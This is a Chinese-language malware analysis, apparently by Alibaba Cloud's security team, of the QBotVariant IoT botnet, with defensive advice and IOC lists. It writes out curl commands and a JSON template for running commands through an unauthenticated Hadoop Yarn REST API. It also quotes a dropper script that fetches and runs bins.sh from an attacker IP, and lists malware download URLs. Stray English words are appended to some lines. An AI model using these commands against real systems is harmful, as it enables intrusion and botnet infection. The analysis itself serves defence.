互聯網給人帶來便捷的同時,其公開大量的資源也一樣給惡意利用者帶了便捷,愈來愈多公開的惡意程序源碼下降了對外攻擊、入侵的難度,使得安全問題越發嚴重。git
阿里雲安全團隊從今年5月份監測到一BOT家族,其樣本改寫自互聯網公開渠道源碼,在互聯網上普遍傳播,形成了極大的危害,雲安全團隊對該類樣本作了分析、聚類、溯源,在此咱們將該類樣本命名爲QBotVariant。github
QBotVariant具備DDoS攻擊、後門、下載器、暴力破解等功能,一旦被入侵便變成肉雞,其主要傳播方式經過Hadoop Yarn資源管理系統REST API未受權訪問漏洞和基於弱口令的暴力破解。相似Mirai該BOT家族針對多個版本的操做系統,不只服務器受到危害,如CCTV監控、家庭路由等IOT設備更容易被攻擊、入侵。Radware公司Pascal Geenens在最新的博客《New DemonBot Discovered》中說起到該類樣本,可是他發現的IP、樣本等信息只是該類家族的其中一個樣本,而咱們從監測到30多個下載服務器能夠看出,QBotVariant多變的IP和二進制樣本變種,使其難以發現和跟蹤。web
在雲平臺上,咱們監測到的QBotVariant活躍度以下,峯值的時候能夠達到上千個,活躍度一直未減。算法
如下咱們將從傳播方式、腳本分析、樣本分析、溯源等多個角度對QBotVariant進行詳細的分析。shell
入侵、傳播方式
apache
QBotVariant家族傳播的方式有兩種,一是利用Hadoop Yarn資源管理系統REST API未受權訪問漏洞進行入侵,二是經過硬編碼的弱密碼進行SSH暴力破解。json
Hadoop是一款由Apache基金會推出的分佈式系統框架,它經過著名的MapReduce算法進行分佈式處理,Yarn是Hadoop集羣的資源管理系統。Hadoop Yarn資源管理系統配置不當致使能夠未經受權進行訪問,從而被攻擊者惡意利用。攻擊者無需認證便可經過REST API部署任務來執行任意代碼,最終徹底控制服務器。安全
其問題來源於對外開啓瞭如下做用的端口bash
yarn.resourcemanager.webapp.address,默認端口8088服務器
yarn.resourcemanager.webapp.https.address,默認端口8090
經過對新申請application,以下指令
curl -v -X POST 'http://ip:port/ws/v1/cluster/apps/new-application'
再執行以下指令便可完成入侵
curl -s -i -X POST -H 'Accept:application/json' -H 'Content-Type:application/json'http://ip:port/ws/v1/cluster/apps -data-binary @example.json
其example.json文件以下
{
"am-container-spec":{
"commands":{
"command":"執行的命令書寫在這裏"
}
},
"application-id":"application_xxxx_xxxxx",
"application-name":"test",
"application-type":"YARN"
}
腳本分析
咱們經過溯源找到了QBotVariant比較原始版本的腳本,在原始版本的腳本中支持wget、tftp、ftpget等腳本的執行,從遠程下載服務器下載腳本並執行
bash -c cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget http://185.244.25.153/bins.sh; chmod 777 bins.sh; sh bins.sh;
tftp 185.244.25.153 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh;
tftp -r tftp2.sh -g 185.244.25.153; chmod 777 tftp2.sh; sh tftp2.sh;
ftpget -v -u anonymous -p anonymous -P 21 185.244.25.153 ftp1.sh ftp1.sh; sh ftp1.sh tftp1.sh tftp2.sh ftp1.sh
如下是阿里雲安全截獲的一個通過改寫的下載腳本,從腳本能夠看出做者爲了可以很好的對IOT設備支持,一方面編譯了不一樣版本的程序,經過ntpd、sshd、openssh等進行假裝;另外一方面每一個命令行都加入了對busybox的支持,這些使得該類腳本很好的支持了IOT設備,爲QBotVaraint的傳播提供了更加便捷的途徑。
在阿里雲捕獲的源碼中有用於編譯多個版本的腳本
QBotVariant支持版本類型及其對應二進制名稱:
支持版本類型
對應二進制名稱
支持版本類型
對應二進制名稱
mips
ntpd
i586
ftp
mipsel
sshd
m68k
pftp
sh4
openssh
sparc
sh
x86_64
bash
armv4l
armv6l
tftp
armv5l
apache2
i686
wget
powerpc-440fp
telnetd
powerpc
cron
樣本分析
阿里雲截獲的多批次樣本都比較類似,都改編於QBot。某些做者爲了精簡樣本或者進行殺軟對抗可能將某些功能進行裁剪,咱們隨機對比兩個捕獲的樣本,如圖右邊的樣本對getRandomPublicIP函數進行了裁剪,該樣本只實現了QBot的少量功能,其文件更小、功能更加單一。
而絕大部分樣本都實現了基本功能,其傳播性、危害性等性質並未改變,部分函數如圖所示
指令分析
咱們對遠控指令進行了分析,其功能以下圖所示
值得注意是StartTheLelz函數,該函數主要用於對隨機生成的IP地址進行爆破,如圖經過getRandomPublicIP函數獲得隨機的IP,將硬編碼的用戶名和密碼存儲在結構體中,而後進行鏈接,其最大爆破次數經過max變量進行控制,max和文件描述表的項數有關但最大不超過4096。
經過數據區能夠看見做者集成了幾種常見的用戶名和密碼用於爆破
若是最終爆破成功,則會在被爆破的主機中執行以下腳本,從而感染主機,再繼續向外傳播
除了集成常見的對外DDoS攻擊方法,QBotVariant還能夠進行對外發送垃圾數據,經過sendJUNK或sendUDP便可完成該動做,如圖用於生成隨機字符串的makeRandomStr函數,經過發送大量垃圾包一樣能夠形成網絡帶寬阻塞。
而QBotVariant爲了最大化入侵價值,一樣提供了遠程shell命令執行功能,其命令以"SH"開頭,經過fdgets、sockprintf將命令執行後的結果返回到遠控端,實現以下
樣本溯源/同源性分析
咱們在對樣本分析的過程當中發現一個有趣的現象,樣本爲了逃避檢測,有多種不一樣的指令,咱們選取了幾種QBotVariant的上線方式。
第一種,信息較簡單,返回大小端、CPU架構、主機用途等信息。
第二種,信息比較全面,帶有操做系統、CPU架構、主機用途、端口、主機IP等信息。
第三種,信息最爲簡單,只返回架構信息。
第四種,返回大小端、架構信息。
第五種,信息比較全面,架構信息、大小端、主機IP、主機用途等信息。
第六種,返回主機IP、類型、版本信息等。
第七種,返回架構、主機IP等信息。
咱們在對樣本進行溯源發現,在pastebin上存在大量該類樣本的源碼、二進制文件等,其存在時間都在數月之久,做者目錄下還包括其餘類型IOT蠕蟲,同時發現多個做者進行了QBot的改寫,如圖是其中一位做者的pastebin和github
QBot在國內彷佛你們認知很少,可是因爲源碼簡單、客戶端小、支持多種架構,從09年活躍至今一直未間斷過,常被應用於遠控、DDoS等客戶端,在其截獲的IP中,絕大部分位於北美和歐洲各地,可是雲平臺檢測到來自國內IP的攻擊源,國內安全人員應該引發重視。
安全加固 ● 雲防火牆
開啓雲防火牆IPS攔截模式和虛擬補丁功能,雲防火牆已經支持對該類漏洞的防護和防止暴力破解功能,用戶即便不及時修復也依然可以進行防護攔截。
● 網絡訪問控制
使用"ECS/VPC安全組"對"受影響服務端口"訪問源IP進行控制,若是自己Hadoop環境僅對內網提供服務,請不要將Hadoop服務端口發佈到互聯網。
● 更新升級
若使用自建的Hadoop,根據實際狀況及時更新補丁,Hadoop在2.X以上版本提供了安全認證功能,加入了Kerberos認證機制,建議啓用Kerberos認證功能或者您能夠選擇使用雲上的MaxCompute(8年以上"零"安全漏洞)或雲上的E-MAPREDUCE服務。
安全建議
● 雲防火牆產品已支持防護針對此漏洞的攻擊,建議用戶能夠購買雲防火牆,開啓檢測。
● 經過安全管家服務,在阿里雲安全專家的指導下進行安全加固及優化工做,避免系統受到漏洞影響。
總結
QBotVariant經過Hadoop Yarn資源管理系統REST API未受權訪問漏洞、弱密碼口令爆破等方式進行入侵,一旦感染此類蠕蟲,不只會佔用主機計算資源消耗帶寬流量,成爲攻擊其餘主機的肉雞,還可能形成數據泄露,數據丟失等後果。
阿里雲安全提醒廣大互聯網用戶,注意第三方應用的配置,防止出現此類未受權漏洞,同時增強用戶名和密碼的安全意識,切實保護自身資產安全。
IOC
部分MD5-文件名
文件名
MD5
185.244.25.153
YSDKOP.arm4
cc9de0d789efc8636946b4b41f374dfc
YSDKOP.arm5
ac94604edfe7730ccf70d5cd75610d01
YSDKOP.arm6
dcb51c5abd234a41ee0439183f53fd2d
YSDKOP.arm7
2416380b2fe0c693fd7c26a91b4cb8ee
YSDKOP.i586
2f029723c778f15e8e825976c66e45cd
YSDKOP.i686
49ec48d3afdddb098fa2c857fc63c848
YSDKOP.m68k
7efef839902ca20431d58685d9075710
YSDKOP.mips
eab0810535b45fa1bf0f6243dafb0373
YSDKOP.mpsl
a2c4e09821be6a4594e88376b9c30b5d
YSDKOP.ppc
1fc61114722f301065cd9673025ce5e0
YSDKOP.sh4
38abc827e67ff53d0814979b435e2c40
YSDKOP.sparc
20a38aeeffba9f0f1635c7b4b78f3727
YSDKOP.x86
8fd97d622e69b69a3331ee5ed08e71b2
188.166.125.19
7e9c49b9e743bcf7b382fa000c27b49d
apache2
64394fb25494b0cadf6062a0516f7c1a
bash
75e7ce8c110bb132d3897b293d42116a
cron
e8dfae1fe29183548503dc0270878e52
ftp
0e765d00f0ee174e79c81c9db812e3a2
ntpd
2cb932dcb5db84dafa8cdc6b4afa52d0
openssh
606a3169f099b0f2423c63b4ed3f9414
pftp
6666ef216ce7434927338137760f4ab0
sh
cc2e82ffbc6d5053efade4849c13099f
sshd
00b0a6516986aca277d0148c7ddf38c4
tftp
38b075ee960d08e96b2e77205ec017de
wget
58c5e1bc66ac6b364639bce4b3f76c58
部分IP
178.128.194.222
178.128.7.76
103.214.111.122
130.185.250.199
194.182.80.200
138.197.74.100
198.199.84.119
104.248.165.108
178.128.46.254
159.65.227.17
206.189.196.216
80.211.109.66
194.48.152.114
159.89.114.171
178.128.43.104
185.244.25.153
209.97.159.10
46.36.37.121
46.29.164.242
46.17.47.250
158.69.60.239
195.181.223.138
80.211.39.186
188.166.125.19
104.248.112.122
212.237.26.71
178.128.239.252
104.248.212.127
104.248.63.168
部分URL及出現時間
URL
時間
20180904
20180904
http://178.128.239.252/bins.sh
20180908
http://158.69.60.239/bins/boti586final
20180908
http://158.69.60.239/bins/botx86_64final
20180908
http://158.69.60.239/bins/boti686final
20180908
20180908
http://178.128.239.252/bins.sh
20180909
http://130.185.250.199/bins.sh
20180909
20180913
http://104.248.112.122/Kuso69/Akiru.x86
20180918
20180919
http://104.248.112.122/Kuso69/Akiru.x86
20180919
20181003
20181005
20181009
20181009
20181010
20181010
http://104.248.212.127/bins.sh
20181010
20181010
http://206.189.196.216/bins.sh
20181010
20181010
20181011
20181011
20181011
http://104.248.212.127/bins.sh
20181011
20181012
20181012
http://195.181.223.138/bins.sh
20181012
20181012
20181012
http://104.248.212.127/bins.sh
20181012
20181015
http://104.248.165.108/bins.sh
20181018
20181018
http://103.214.111.122/bins.sh
20181019
20181019
20181019
20181021
http://178.128.194.222/bins.sh
20181026
http://178.128.194.222/bins.sh
20181027
http://178.128.194.222/bins.sh
20181028
20181031
20181101
20181103
本文爲雲棲社區原創內容,未經容許不得轉載。